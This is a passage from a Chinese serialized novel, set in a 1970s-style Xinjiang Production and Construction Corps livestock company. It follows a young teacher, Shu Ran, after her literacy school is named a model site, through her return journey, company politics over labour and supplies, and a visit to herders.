许多基层代表一边鼓掌,一边朝舒染这边看过来,眼神里充满了敬佩和鼓励。 舒染的脸有些发烫,她努力保持镇定。她知道,这不仅仅是对她个人的肯定,更是对畜牧连所有努力的一种认可,对她坚持的一种正名。 周干事在旁边捅了她一下,压低声音,难掩兴奋:“听见没!小舒!点名了!示范点!这下你们连可要出名了!” 散会后,舒染立刻被好几个来自不同师团的代表围住了。有向她表示祝贺的,有想跟她交换通信地址,希望能保持联系、学习经验的,还有的干脆就具体操作问题当场请教起来。 “舒染同志,你们那个沙地上练字,具体用什么沙子好?” “舒老师,妇女扫盲班的时间咋安排才能不影响生产?” “小舒同志,下次我去你们连学习,欢不欢迎啊?” 舒染忙不迭地回应着,脸上洋溢着光彩。她耐心地回答着问题,分享着心得,态度依旧谦和务实。她知道,此刻的自己,代表的不仅是个人,更是畜牧连,是X师。她必须把握好这个分寸。 王副处长也笑呵呵地走过来,等围着她的人稍微少些了,才开口道:“小舒啊,这下担子更重了。回去后,尽快写一份详细的示范点建设方案和需求报告报上来。司令部这边,会尽力协调支持。” “谢谢王处长!我一定尽快完成!”舒染郑重答应。 “好,回去路上小心。具体事宜,回去后听你们孙处长安排。”王副处长勉励了几句,便离开了。 舒染回到招待所房间,开始收拾行李。挎包里,那份会议摘要和几本学习资料显得格外珍贵。 周干事帮她检查有没有落东西,一边絮叨着:“回去好好干!给基层同志争口气!有什么需要打听的,随时写信来!” “谢谢周干事,这段时间多亏您照顾。”舒染真诚地道谢。 舒染提着行李走到大院门口,孙处长和陈远疆已经等在一辆吉普车旁。还有一个年轻的司机。 “小舒,上车吧,我们先回师部。”孙处长招呼道,脸上带着笑意,显然也知道了大会上的消息。 陈远疆依旧沉默,自然地接过舒染的行李放到后备箱。在他伸手接过时,舒染轻声快速地说了一句:“谢谢。”她谢的是他昨日的间接提醒,也是一种对这段共事经历的告别。 陈远疆的动作顿了一下,随即恢复如常,“嗯”了一声,便关上了后备箱。 车子驶出司令部大院,舒染看着窗外不断后退的景物,心中感慨。这座大院,给她带来了压力,也带来了机遇和肯定。在这里,她经历了质疑,也赢得了尊重。她不再是那个初来乍到、心中忐忑的女知青,而是带着一份使命离开。 吉普车在戈壁公路上颠簸,卷起一溜黄尘。孙处长在副驾驶座上打着盹。舒染和陈远疆并排坐在后座,中间隔着装资料的帆布包。 窗外是无尽的灰黄色。偶尔掠过几丛顽强的红柳。 车子在一个岔路口的兵站停下加水。兵站很简陋,土坯墙被风沙侵蚀得斑驳。一个脸上皱纹深刻的老班长端着热水壶迎出来。 “陈干事!孙处长!”老班长嗓门洪亮,露出被烟熏黄的牙齿,“快进屋歇歇,馍刚蒸好!” 几人进了阴凉的土房,围着小木桌坐下。老班长端上热腾腾的包谷馍和咸菜,又给每人倒了碗浓浓的砖茶。 “还是您这儿的茶够味。”孙处长掰开馍,笑着对老班长说。 “穷地方,没啥好东西。”老班长摆摆手,目光落在陈远疆身上,像是想起什么,语气变得有些悠远,“陈干事现在出息了……头回见你,才这么高点。”他用手在桌腿旁比划了一下,“跟在老首长马后头,汉话都说不利索,就晓得瞪着眼睛看人。” 陈远疆正端起茶碗,听到这话,动作没有丝毫停顿,只是垂着眼吹了吹茶沫。碗沿上升起的热气模糊了他半边脸。 孙处长接话:“老首长把他当亲儿子待。” “可不是嘛!”老班长叹了口气,“送去北京念大书,多好的前程。谁成想……”他摇摇头,没再说下去,转身去添柴火了。 桌上安静下来。舒染小口咬着馍,咸菜疙瘩齁得她直皱眉。她抬眼飞快地瞟了陈远疆一眼。他依旧沉默地喝着茶,握着茶碗的手指关节有些发白。 司机小李是个愣头青,没察觉气氛,啃着馍含糊地说:“陈干事,您为啥非要回来遭这罪?留在北京多好!” 陈远疆放下茶碗,他没看小李,目光投向门外的阳光,“想念这儿的水。” 小李没听懂,眨巴着眼。孙处长轻轻咳嗽了一声。老班长添完柴回来,听到这话,动作顿了顿,没再说什么,只是默默地把一盘新蒸好的馍推到桌子中央。 休息过后,车子继续上路。后半程更加沉默。舒染靠着车窗,看着窗外一成不变的景色。 她注意到,陈远疆的目光长久地落在远处天山下隐约可见的一片绿色草场上,那里有几顶白色的毡房像蘑菇一样散落着。 接近师部时,天色已近黄昏。戈壁滩上的风带着凉意吹进车窗。 陈远疆忽然开口,是对司机说的:“前面路口,停一下。” 车停了。他推门下车,走到路边一座用石块垒起的矮小坟墓前。坟墓没有碑,只在顶端压着一块白色石头。 他站在那里,背影挺拔。几分钟后,他弯腰,将口袋里什么东西轻轻放在了那块白石头上。 随后他转身上车,关车门的声音惊醒了睡梦中的孙处长。 “到了?”孙处长迷迷糊糊地问。 “快了。”陈远疆回答,声音听不出情绪。 舒染看着窗外飞逝的景物,她想到了之前对陈远疆的种种猜测和戒备。他的掌控感或许并非出于算计,而是源于他复杂经历塑造出的负责和谨慎的性格。他的沉默寡言,也许是因为内心有着太多故事。 吉普车驶入师部大院时,天已黑透了。院子里亮着几盏昏黄的电灯,比畜牧连亮堂不少,但依旧透着一种清冷。 孙处长下了车,舒展了一下僵硬的筋骨,对舒染和陈远疆说:“今天都累了,先各自安顿休息。小舒,你明天上午来教育科找我,详细说说示范点的事。远疆,你也去忙你的吧。” “是,处长。”舒染应道。 陈远疆点了点头,帮舒染拿下行李后,便转身朝保卫处所在的那排平房走去,背影很快融入了夜色中。 舒染提着行李回到那间熟悉的招待所小屋。同屋的人还没回来。她放下东西,第一件事就是拿起暖水瓶摇了摇,发现是空的。 她只好提着水瓶去走廊尽头的开水房打水。热水流进壶嘴的声音,在安静的走廊里显得格外清楚。 简单洗漱后,她瘫倒在床上。身体的疲惫阵阵袭来。司令部几天的经历像走马灯一样在眼前回转。她强迫自己不去多想,翻了个身,闻着被子上阳光晒过的味道,渐渐睡去。 第83章 第二天清晨, 舒染是被号声唤醒的。她起床后,感觉精神恢复了不少。 先去食堂吃了早饭——玉米糊糊、窝头,还有一小碟凉拌萝卜丝。食堂里人来人往, 有几个面熟的教育科干事跟她打招呼,态度明显比之前更热络了些。 “舒染同志回来了?” “听说你在司令部表现不错啊!” “示范点的事儿, 以后要多跟你请教了。” 舒染一一笑着回应,态度不卑不亢。她注意到,也有一些目光带着审视和疏离。她心里明白, 示范点的名头既是光环,也是靶子。 上午,她准时来到教育科孙处长办公室。孙处长已经泡好了茶,示意她坐下。 “小舒, 坐。说说吧, 司令部会议的具体精神, 和你对示范点下一步工作的具体想法。”孙处长开门见山。 舒染早有准备, 她从挎包里拿出会议笔记和那份摘要, 条理清晰地进行汇报。她重点强调了张副政委对她接地气做法的肯定, 也提到了可能遇到的困难和需要师部支持的具体事项,如教材、少量建材指标、教师培训名额等。 孙处长听得很仔细, 不时点头,偶尔插话询问细节。 “嗯, 思路是对的。要抓住这个机会,把畜牧连的点真正搞出个样子来。” “教材的问题, 科里可以想办法协调一批。” “建材指标比较紧张, 我先记下,需要向后勤部门争取。” “至于培训名额……”孙处长沉吟了一下,“眼下有个情况。师部最近可能有人事调整, 杨振华干事可能会调动工作。你们团里教育口这一块,后续由谁主要负责对接,还没完全定下来。你回去后,暂时还是按原有渠道沟通,但也要有心理准备。” 舒染心里沉了一下,团部人事变动,很可能意味着支持力度会打折扣,甚至出现新的阻碍。她面上不动声色:“好的处长,我明白了。我会根据实际情况灵活处理。” 从孙处长办公室出来,舒染的心情添了几分沉重。她刚走到院子里,就碰见了许君君。许君君是来师部医院领取药品的,一见舒染就惊喜地跑过来。 “舒染!你可算回来了!听说你在司令部大放异彩?”许君君拉着她的手,上下打量,“没瘦,挺好!快跟我说说,司令部啥样?见到大领导了没?” 看着好友关切的脸,舒染露出了几天来最轻松的笑容。两人站在院子角落的白杨树下,舒染简略说了说会议情况,略去了被刁难的具体细节,只提了结果。 许君君听得两眼放光:“太好了!这下看赵卫东他们还敢不敢小瞧咱们!对了,”她压低声音,“你不在这几天,连里没啥大事,就是赵卫东又嚷嚷生产任务紧,暗示学校占用劳动力。王大姐和李秀兰她们都帮你顶着呢。” 舒染点点头,心里有数。 中午,舒染和许君君一起去食堂吃饭。打好饭刚坐下,舒染就看到陈远疆和几个保卫处的干部一起走了进来。他们打了饭,坐在离她们不远的一张桌子上,边吃边低声交谈着什么,表情严肃。 陈远疆似乎察觉到她的目光,抬头朝这边看了一眼。两人的视线在空中短暂交汇。舒染下意识地点了点头,陈远疆的目光在她脸上停顿了一瞬,颔首回应,便又低下头去和同事说话。 许君君用胳膊肘碰了碰舒染,用气声说:“诶,陈特派员好像看你呢。” 舒染脸一热,低头扒拉饭:“吃你的饭,别瞎说。” 下午,舒染去供销社转了转,想看看有没有能给孩子们带回去的东西。买了一些文具和几本厚厚的兵团劳动记录簿,背面是空白的,可以当练习本。 回到招待所,她开始动手整理行李,把该带回去的东西归置好。又把师部发的学习资料和会议摘要仔细收进挎包最里层。 傍晚,许君君来跟她告别,要搭乘运输连的车连夜赶回畜牧连。“连里卫生室就我一个人,离不开太久。你明天回去路上小心点。” 送走许君君,舒染独自在师部大院里散步,夕阳给土坯房和白杨树都镀上了一层金边。 她看到陈远疆和几个人牵着马,似乎要外出执行任务。他换上了军装,身姿挺拔,正在检查马鞍。 他似乎没有注意到远处的舒染。舒染也没有上前打招呼,只是看着他们一行人骑马出了大院,消失在暮色笼罩的戈壁滩方向。 这一天在师部的休整,像是一个短暂的驿站,让她喘了口气,获取了一些信息,也看清了前路依然不平坦。但此刻,她的心是定的。 第二天一早,舒染提着收拾好的行李,正准备去食堂吃完早饭就找车回畜牧连,却在招待所门口被杨振华叫住了。 “小舒!等等!”杨振华手里捏着个文件夹,脚步匆匆地赶来,脸上带着抑制不住的兴奋神色,“有个好消息,先跟你说一声!” 舒染停下脚步,心里有些疑惑:“杨干事,什么好消息?” 周干事左右看看,压低声音,却掩不住话里的喜气:“评选有眉目了!就那个优秀基层教育工作者!” 舒染面上还保持着镇定:“是吗?怎么回事?” “昨天下午,教育科和宣传科开了个碰头会,讨论年底表彰的事儿。”杨振华语速很快,“孙处长特意把你的名字和畜牧连示范点的情况提了出来,宣传科那边也认可你在司令部会议上的表现,说你有思路,有办法,还能顶住压力,展现了咱们兵团教育工作者扎实的作风!” 舒染听着,感觉手心有点发热。她努力让自己的声音听起来平静:“那……这只是初步讨论吧?” “哎哟,舒染同志!初步讨论能把你单拎出来说,就是信号!这说明上头对你印象非常好!只要你们示范点后续不出岔子,能拿出成果,这荣誉十有八九跑不了!” 杨振华继续说:“我听说,司令部张副政委那边,对你印象也极好。这次评选,师部肯定要树典型,你年轻,又是基层干出实绩的,最合适不过!说不定还能往兵团一级报呢!” 这消息来得有些突然,舒染一时有些消化不了。她深吸一口气,杨振华事说:“杨干事,谢谢您告诉我这些。不过这事还没定,咱们先别声张。示范点刚起步,要做的事还多着呢,不能辜负领导的期望。” “放心吧,我懂!”杨振华一副了然的样子,“就是先给你透个风,让你心里有底,行了,你快去忙吧,我也得去开会了。”他说完,又夹着文件走了。 舒染站在原地,清晨的阳光照在身上,暖洋洋的。她提着行李,脚步却比刚才轻快了许多。这个消息,让她连日来的疲惫和归程前的些许忐忑都一扫而空。 去食堂的路上,她遇到了教育科的张明干事。张明看到她,脸上也堆起了比以往更热情的笑容:“舒染同志,要回去了?孙处长都交代了吧?好好干,前途无量啊!”话里的暗示,不言而喻。 舒染默默吃着早饭,心里已经开始盘算:回去后,首先要稳住基本盘,把启明小学和妇女扫盲班的工作做得更扎实;其次,要尽快启动牧区流动教学点的试点,这是示范点能否出彩的关键;还有,得想办法解决可能出现的阻力…… 吃完早饭,她去后勤科办了手续,准备搭乘一辆去团部运送物资的顺风车。 在停车场等车的时候,她看到陈远疆和几个战士牵着马回来,马背上驮着些东西,像是刚执行完任务归来。几人风尘仆仆,裤脚上沾满了泥点。 陈远疆也看到了她,目光在她身边的行李上停留了一下。他对同伴交代了几句,便朝她走了过来。 “回连队?”他问,声音带着一丝沙哑,似乎是熬夜所致。 “嗯,等车。”舒染点点头,看着他的眼睛,忍不住问了一句,“你们……任务还顺利吗?” 陈远疆“嗯”了一声,算是回答。他沉默了一下,像是随口提起:“团部那边的教育工作可能有变动。后续对接,可能会有新人。” 这已经是舒染第二次听到这个消息了,她点点头:“孙处长跟我说了。我会处理好的。” 陈远疆看了她一眼,没再说什么。这时,去团部的车子按响了喇叭。舒染提起行李:“车来了,我走了。” 陈远疆颔首,目光深沉:“路上小心。” 舒染转身朝车子走去,她能感觉到那道目光一直落在自己背上,直到她上车关门。 车子驶出师部大院,舒染透过车窗回望。那个身影还站在原地。她想起杨振华透露的喜讯,又想起陈远疆刚刚那句提醒,心中百感交集。 某些悄然滋长的东西,或许也需要时间来慢慢厘清。 车子加速,舒染调整了一下坐姿,望向窗外逐渐熟悉的戈壁景色,归心似箭。 第84章 物资顺风车卷着尘土, 稳稳停在畜牧连那熟悉的路口。舒染提着行李跳下车,深吸了一口混合着干草、牲畜和泥土气息的空气。 离开了一个多月,却有种恍如隔世的感觉。 “舒老师回来啦!”不知哪个眼尖的孩子喊了一嗓子, 顿时,启明小学那个教室里呼啦啦涌出一群小脑袋。 “舒老师!” “老师你可回来啦!” 石头、栓柱、虎子、小丫……孩子们像一群出笼的小鸟, 飞奔过来,瞬间把舒染围在中间。 阿迪力跑在最前面,黝黑的小脸涨得通红, 虽然没像其他孩子那样叽叽喳喳,但眼睛里闪着的光亮藏不住。阿依曼紧紧拉着哥哥的衣角,怯生生又期待地看着舒染。 “慢点慢点,别摔着!”舒染笑着, 挨个摸摸孩子们的头, 心里那点从师部带回来的沉重瞬间被这纯粹的欢迎冲散了。 她注意到几个孩子的脸和手都皴裂了, 小丫的辫子也有些乱, 但精神头都很好。 “老师, 你不在, 王阿姨教我们认了好多字!”石头大声汇报,带着点小骄傲。 “我还帮娘记豆腐账了, 娘夸我了!”春草也挤过来说。 阿迪力憋了半天,才忍住骄傲说:“老师!我教了牧区好多同学写他们的名字!” 舒染心里一暖, 蹲下身,平视着阿迪力的眼睛:“真的?阿迪力真棒, 都能当小老师了!”阿迪力的耳朵尖立刻红了, 不好意思地低下头,嘴角却忍不住往上翘。 这时,王大姐和许君君也闻讯赶来了。王大姐一把接过舒染手里的部分行李, 上下打量她:“可算回来了!瞧着没瘦,师部的饭食看来不错!” 许君君则挽住她的胳膊,笑着说:“那可不,咱们舒老师气色红润,脸色比之前生病好了不少!” “陈特派员没跟你一块儿回来?”王大姐四下张望了一下,随口问道。 舒染摇摇头:“孙处长留下他好像还有事要办,让我先回来了。” 女工宿舍的地窝子还是老样子,有些阴潮拥挤,但此刻却让舒染感到莫名的安心。 王大姐利索地帮舒染把行李归置好,又端来一盆热水:“快擦把脸,歇歇脚。一会儿食堂开饭,我给你打回来。” “不用,王大姐,我自己去就行。”舒染忙说。 “客气啥!你这一路颠簸的。”王大姐不由分说,又拿出一个烤得焦黄的土豆塞给舒染,“先垫垫,这还是小丫奶奶非要给你的,说你教书辛苦。” 捧着热乎乎的土豆,感受着周围真诚的关切,舒染觉得眼眶有点发热。这里或许艰苦,但这里有最质朴的温度。 傍晚,舒染去了连部,向刘书记和马连长简单汇报了去司令部的情况,重点转达了上级对示范点建设的支持和期望。 刘书记听得频频点头:“好,好啊!舒老师,你这趟没白去,给咱们连争光了!放心,连里一定支持你把示范点搞好!” 马连长也表态:“有啥困难,尽管提。能解决的,连里尽量解决。”不过他顿了顿,又补充道,“不过眼下开荒准备开始了,劳力、物资都紧张,有些事可能得缓一缓。” 舒染心里明白,这是实情,也是提醒。她表示理解:“连长,我明白。示范点建设也会结合生产,尽量不占用主要劳力,利用工余时间。” 从连部出来,舒染迎面碰上了赵卫东。赵卫东推着一辆自行车,车把上挂着个旧帆布包,像是刚从地里回来。 “舒老师回来了?”赵卫东停下脚步,脸上带着惯常那种看不出深浅的笑,“听说你在司令部露了大脸,恭喜啊。陈特派员没一起?” “赵主任。”舒染客气地打招呼,“只是去汇报工作,学习经验。陈特派员还在师部有事。” “示范点可是大事。”赵卫东点点头,语气听起来很支持,“不过舒老师,咱们连的情况你也清楚,底子薄,生产任务重。这示范点要搞,也得量力而行,不能影响了大局。你说是不是?” “赵主任放心,我会把握好分寸的。”舒染微笑回应,心里琢磨着赵卫东的弦外之音。赵卫东这话,听着是提醒,实则是划下了界限——示范点可以搞,但不能跟他主管的生产抢资源。 “那就好。”赵卫东推着车走了,临走前又貌似随意地提了一句,“哦对了,团部刚来了通知,过几天要统计各连物资需求,学校这边要是有啥需要,也早点报上来,我好一并考虑。” 他说的是“考虑”,不是“解决”。 舒染看着他的背影,知道接下来的工作,绝不会一帆风顺。 几天后,舒染已经完全重新投入到连队的生活和工作中。 她先召集孩子们开了个简单的班会,分享了在司令部经过筛选的的见闻,鼓励大家继续努力学习。 孩子们听得眼睛发亮,尤其是听到示范点这个新词时,虽然不太懂,但感觉是件大好事。 接着,她又和王大姐碰了头,了解这几天妇女扫盲班的情况。 王大姐叹了口气:“你不在,有几个家属又被家里男人叫回去干活了,说来不了。唉,识字到底是顶不了饭吃。” 舒染望了望,没瞧见李秀兰的身影,便问王大姐:“大姐,秀兰呢?” 王大姐叹了口气:“这几天生产任务重,秀兰这段时间都住在单位。” 舒染知道这是现实困难,她拿出从司令部带回来的学习资料和那几支带橡皮头的铅笔:“没关系,咱们慢慢来。看,这是我从师部带回来的,以后咱们的学习内容更丰富了。人少就人少,咱们教得更精细点。” 舒染安抚好大后方,带着几个大点的孩子在工具棚后面清理杂草,想腾出点地方将来种些耐活的向日葵什么的。 正在她埋头拔草的时候,许君君提着药箱匆匆过来,脸上带着点神秘的笑意,把她拉到一边:“诶,猜猜谁回来了?” 舒染一愣:“谁?” “陈远疆!刚回来的!我瞧见他骑马进连部了,风尘仆仆的,估计是紧赶慢赶从师部回来的。” 许君君挤挤眼,“你说,他是不是着急回来见什么人啊?” 舒染的心莫名跳快了一拍,但面上却装作没事人一样,继续拔草:“师部的事办完了自然就回来了,有什么好猜的。” “嘴硬吧你就!”许君君笑着戳了她一下,又去忙了。 舒染低下头,看着手里的杂草,却有些心不在焉了。他回来了?这么快?师部的事情处理完了? 她不去多想,继续手上的活计。 直到天色渐晚,收工了,舒染也没看见陈远疆的身影。她收拾好工具,准备回宿舍。 就在她走到教室门口时,却意外地发现,门口那堆总是散乱的碎砖头,不知被谁整整齐齐地码放到了墙角,还用一块破旧的草席盖住了。旁边还放着几根粗细均匀,一看就是精心挑选过的木棍。 舒染心一动,快步走进教室,目光扫过角落。她那个用来装粉笔头的破罐头盒被擦干净了,里面甚至新添了一些长短不一的粉笔头。挂在墙上的小黑板,也明显被擦拭过,边沿的灰尘不见了。 一切痕迹都做得悄无声息,但舒染知道,在这畜牧连会这样细致又沉默地做这些事的人,只有一个。 他回来过了。 天色已近黄昏。舒染没直接回宿舍,而是拐了个弯,去了连队边缘的豆腐坊。 还没走近,就闻到了一股熟悉的豆腥气和柴火味。豆腐坊是个低矮的土坯房,门口挂着草帘子。 舒染掀开帘子进去,里面热气蒸腾,李秀兰正系着围裙,费力地推动一个大石磨,乳白色的豆浆顺着磨槽缓缓流进下面的木桶里。另一个女工则在灶台前忙着烧火。 “秀兰!”舒染叫了一声。 李秀兰闻声抬起头,脸颊被热气熏得红扑扑的。看到舒染,她眼睛一亮,露出惊喜的笑容:“舒染姐!你回来啦!”她停下推磨的手,在围裙上擦了擦,“舒染姐,咋样?司令部啥样?是不是特别气派?” 旁边烧火的女工也好奇地看过来。 舒染笑了笑,挽起袖子走过去:“来,我帮你推一会儿,你歇歇。” 她接过磨杠慢慢推动起来。“司令部是比咱这儿条件好,有电灯,楼也高点。不过我还是觉得咱连队自在。” 李秀兰用袖子抹了把汗,站在一旁看着舒染推磨,眼神里带着羡慕和好奇:“舒染姐,你见了那么大的世面,还能愿意回来推这石磨子……” “这有什么不愿意的?”舒染手下不停,语气轻松,“磨豆腐也是正经活儿啊。再说了,我这趟出去,可是带着任务回来的。”她压低了些声音,“上头要把咱们这儿当成示范点,以后要好好搞呢!” “示范点?”李秀兰眨眨眼,不太明白,但觉得是好事,“那……那是不是以后学校能变好点?” “那当然!”舒染肯定地说,“校舍得修,教具也得添。不过……”她话锋一转,叹了口气,“赵主任说生产忙,劳力物资都紧张,让咱们量力而行。” 李秀兰一听,脸上兴奋的光彩暗淡了些,她小声嘟囔:“赵主任他向来觉得咱们这些不直接下地的活儿不重要……不过他现在应该不敢和上面对着干。” 舒染心里有数了。她停下推磨,看着李秀兰:“秀兰,示范点要搞好,光靠我一个人不行。你得帮我。” “我?”李秀兰有些慌乱地摆手,“我能帮啥忙啊?我顶多就能比别人多认识两个字。” “你作用大着呢!”舒染拉住她的手,“你看,妇女扫盲班,你是骨干。以后咱们还要搞更正规的识字班,你得帮我组织人,管理学习材料。还有,你这豆腐坊,消息灵通,连队里谁家有啥事,你总能听到点风声,这对我了解情况很重要。” 李秀兰被舒染说得有点懵,又有点被信任的激动,脸更红了:“我真的能行吗?” “肯定行!”舒染给她打气,“你做事细心,人也实在。以后啊,你不光是豆腐坊的李秀兰,还是咱们示范点的妇女干事!” “妇女干事?”李秀兰重复着这个新词,眼睛里渐渐有了点不一样的光彩。她以前总觉得自个儿就是个普通女工。舒染的话,好像给她推开了一扇新窗户。 “嗯!”舒染重重地点点头,“所以,以后听到啥对学校、对扫盲班有用的消息,或者谁家有困难,你都悄悄告诉我,咱们一起想办法。” 这时,灶台那边的女工喊了一声:“秀兰,锅滚了!” “哎!来了!”李秀兰连忙应道,又对舒染说,“舒染姐,你放心,我……我肯定帮你留意着!” 舒染离开豆腐坊,回到宿舍,王大姐已经帮她打好了晚饭——一碗面疙瘩汤,一个玉米面发糕,还有一小碟咸菜。 “快吃吧,还热乎着。”王大姐一边纳着鞋底一边说,“刚才赵主任派人来传话,说明天上午连部开会,商量生产的事,让你也去参加。” 舒染接过碗筷,心里明白,这恐怕不是简单的通知,而是赵卫东要把示范点建设放在生产这个大前提下商量了。 她扒拉了一口疙瘩汤,味道寡淡,但她吃得很香。她知道,要想把这寡淡的日子过出滋味,就得靠自己去争。 夜深了,地窝子里响起王大姐的鼾声。舒染躺在炕上,却没有丝毫睡意。她翻了个身,面朝着墙壁,强迫自己不要再胡思乱想,到了后半夜才渐渐睡去。 第85章 第二天, 连部果然通知召开全连春耕生产动员大会。会场设在连部前的空地上,各排的职工、家属,只要能脱开身的, 都搬着小马扎、拿着纳鞋底的家伙什儿来了。黑压压坐了一片,人声嘈杂, 孩子们在人群里钻来钻去。 舒染也来了,找了个靠边的位置坐下。她看到刘书记、马连长、赵卫东等连队领导坐在前面一张长条桌后。 赵卫东面前摊着个厚厚的笔记本,正低头和旁边的机务员低声说着什么, 表情严肃。 大会由马连长主持。他先讲了讲全国和兵团的大好形势,又强调了春耕生产对全年收成、对国家建设的重要性。台下的人们听得认真,不时点头。 接着,刘书记讲话, 主要强调思想统一、安全生产等问题。 最后, 轮到主管生产的赵卫东做具体部署。他清了清嗓子, 拿起笔记本, 开始讲话。 “同志们, 刚才书记和连长讲得都很重要, 我都同意。下面,我主要说说今年春耕生产的具体任务和安排。”他翻开笔记本, 开始逐项布置工作,从地块划分、种子调配、农机检修、劳力分配, 到施肥标准、灌溉安排,甚至每天的工作进度要求, 都讲得清清楚楚, 数据准确,要求明确。台下的人们纷纷拿出小本子记录。 舒染也认真听着,心里暗暗佩服赵卫东的业务能力。他对连队的生产确实了如指掌, 安排得井井有条。 当各项生产安排都讲完后,赵卫东合上笔记本,话锋稍稍一转,目光扫过全场,最后在舒染的方向略有停留,但很快移开。 “另外,还有一件事要跟大家说一下。上级已经正式批准,在我们连设立基层教育示范点。这是上级对我们连工作的肯定,也是一项光荣的政治任务。” 听到这话,台下响起一阵小声的议论,不少人都看向舒染,目光里有好奇,也有羡慕。舒染挺直了背。 赵卫东抬手压了压议论声,继续说道:“搞好教育工作,提高群众文化水平,从根本上说,也是为了更好地促进生产发展。这个道理,我们都懂。” 他话说到这里,停顿了一下,似乎在斟酌词句。台下安静下来。 “但是,”赵卫东的语气加重了一些,“我们也要清醒地认识到,当前,春耕生产是我们连压倒一切的中心任务!是一切工作的重中之重!粮食收不上来,一切都等于零!” “所以,在这里,我要强调几点纪律。” “第一,示范点的建设工作,必须要顾全春耕生产这个大局!” “第二,各排、各班组要严格劳力管理。现在是农忙时节,谁要是以参加学习为借口,逃避生产劳动,或者出工不出力,一经发现,严肃处理!” “第三,连队所有的物资、资金,首先要确保春耕生产的需要。示范点建设需要的物资,要在连队统一规划下,本着勤俭节约、因陋就简的原则,逐步解决。不能影响生产投入。” 他说这些话时,舒染的心也慢慢沉了下去。赵卫东的话,句句在理,冠冕堂皇,完全符合上级精神,挑不出任何毛病。 “当然,”赵卫东的语气又稍微缓和了一些,“对于示范点的工作,连队也是在力所能及的范围内支持的。比如,可以利用早晚工余时间开展活动;家属和学生参加学习,我们也是鼓励的;一些废旧物资,可以优先考虑教学需要。” 他最后总结道:“总之一句话,我们既要狠抓生产,也要兼顾教育。但主次要分明,重点要突出。希望大家都能够正确理解,积极配合,共同完成好春耕生产和示范点建设这两项任务!” 赵卫东讲完了。台下响起了掌声,不如之前热烈,但也还算整齐。舒染也跟着鼓了掌。 散会后,人们议论纷纷地散去。舒染看到赵卫东被几个排长围住,还在交代生产上的事情。他似乎完全沉浸在工作中,并没有朝她这边看。 “舒老师,”王大姐走过来,脸上带着担忧,“赵主任这话……听着是支持,可这框框也划得太死了点。” 舒染站起身,拍了拍裤子上的灰,“王大姐,赵主任说得对,生产是大事。咱们就在他划的框框里,把示范点搞好!办法总比困难多。” 她心里明白,赵卫东不是坏人,他甚至是一个尽职尽责的生产干部。他的顾虑和优先排序,在这个时代和环境背景下,是现实甚至正确的。他并没有故意刁难,只是将他所负责的生产任务放在了首位。 而她要做的,是在理解和尊重这种现实的前提下,找到一条夹缝中求发展的路。 舒染抬起头,看向远处已经开始泛绿的田地,心中已然有了计划。 下午,舒染决定去牧区一趟,看看阿迪力说的那个想学认字的小伙伴家的情况,也实地了解一下设立教学点的可能性。她跟王大姐打了声招呼,揣上几块水果糖和一小包盐巴,便朝着牧区的方向走去。 戈壁滩上的风依旧凛冽,但阳光已经有了些许暖意。舒染走着走着,忽然听到身后传来马蹄声。她回头一看,竟是陈远疆骑着那匹枣红马,不紧不慢地跟在后头,距离保持得恰到好处,既不像同行,也不像毫无关系。 见她回头,陈远疆勒住马,目光平静地看着她,仿佛只是恰巧同路。 舒染心里一动,停下脚步,扬声问:“陈特派员,去巡防?” 陈远疆点了点头,言简意赅:“嗯。和你同路。” 舒染笑了,“巧了,我也要去牧区。路不好走,陈干事能不能捎我一段?” 陈远疆明显愣了一下,似乎没料到她会如此直接地提出要求。他看了看舒染,又看了看前方漫长的戈壁路,沉默了几秒钟,然后利落地翻身下马,将缰绳递到她面前,自己则走到了一边。 “你骑。我走路。” 舒染看着被他塞到手里的缰绳,再看看他已经迈开步子的挺拔背影,忽然觉得,这个沉默寡言、行动永远先于言语的男人,有时候也挺可爱的。 她也没有矫情,抓住马鞍,费力地爬上了马背。马儿很温顺,慢悠悠地跟着陈远疆的脚步。舒染坐在马背上,视野开阔了许多,能看到远处天山皑皑的雪顶。 两人一马,沉默地在戈壁滩上走着。只有风声、马蹄声和脚步声。 走了一段,陈远疆忽然头也不回地开口,声音被风吹得有些散:“团部管教育的干事,可能要换人。” 舒染心里一紧,果然来了。她握紧了缰绳:“换成谁?” “还不确定。”陈远疆说,“可能从其他团调,也可能……是连里的人升迁过去。” “谢谢。”她低声说。这个消息很重要。 陈远疆没再说话,只是脚步似乎加快了一些。 到了牧区,能看到图尔迪家的毡房了。陈远疆停下脚步:“到了。” 舒染下了马,把缰绳还给他。她看着他被风沙吹得有些干燥的嘴唇,从口袋里掏出一块水果糖,递过去:“给,润润嗓子。” 陈远疆看着那块用糖纸包着的水果糖,眼神复杂,没有立刻接。 “拿着呀,又不是什么好东西。”舒染把糖塞进他手里,转身朝着毡房走去,走了几步,又回头笑着挥挥手,“谢谢陈干事捎我这一程!” 陈远疆站在原地,看着那个充满活力的背影走向牧民的毡房,又低头看了看手心里那块水果糖。 他剥开糖纸,将糖块放进嘴里,一股甜腻中带着果酸的味道在舌尖化开。他蹙了下眉,似乎不太适应这种味道,但却没有吐掉,而是翻身上马,勒转马头,向着另一个方向驰去。 舒染刚走近图尔迪家的毡房,老阿肯的声音就传了过来:“舒老师!上天保佑,正念叨着你呢!” 老人掀开毡帘迎出来,脸上洋溢着热情的笑容,皱纹都舒展开来。 他身后跟着图尔迪,还有几个面生的牧民,都好奇地打量着舒染。 “老阿肯,图尔迪大哥,你们好。”舒染笑着打招呼,心里有些诧异这阵仗。 “好好好!快请进,喝碗热奶茶!”老阿肯热情地招呼她进毡房。毡房里,图尔迪的妻子已经煮好了奶茶,浓郁的奶香扑鼻而来。 一碗滚烫的奶茶下肚,驱散了路上的劳顿。老阿肯不等舒染说明来意,便摸着胡子,语气带着几分自豪地说道:“舒老师,你在兵团司令部露脸的事情,我们都听说了!了不起啊!给咱们畜牧连,给咱们牧区都长脸了!” 舒染一愣,消息传得这么快?她谦逊地笑了笑:“老阿肯您过奖了,我只是做了该做的事,汇报了一下咱们连队和牧区孩子们学习的情况。” “该做的事,能做好,就是本事!”老阿肯大手一挥,“以前我这老脑筋,总觉得认字不如会放羊。可这段时间,我瞧着阿迪力变了,懂道理了,还能帮连里抓坏人了!还有阿依曼,回来还能教我们呢!这识字,有用!” 他顿了顿,身体微微前倾,看着舒染,眼神恳切:“舒老师,你上次提的那个知识毡房,我想了想,觉得还是不够好。” 舒染心里沉了一下,正准备解释,老阿肯却话锋一转:“毡房太小,转场就没了,不踏实!既然上级都肯定了你的工作,要在咱们这搞示范点,我们牧区也得给你捧这个场,响应号召!” 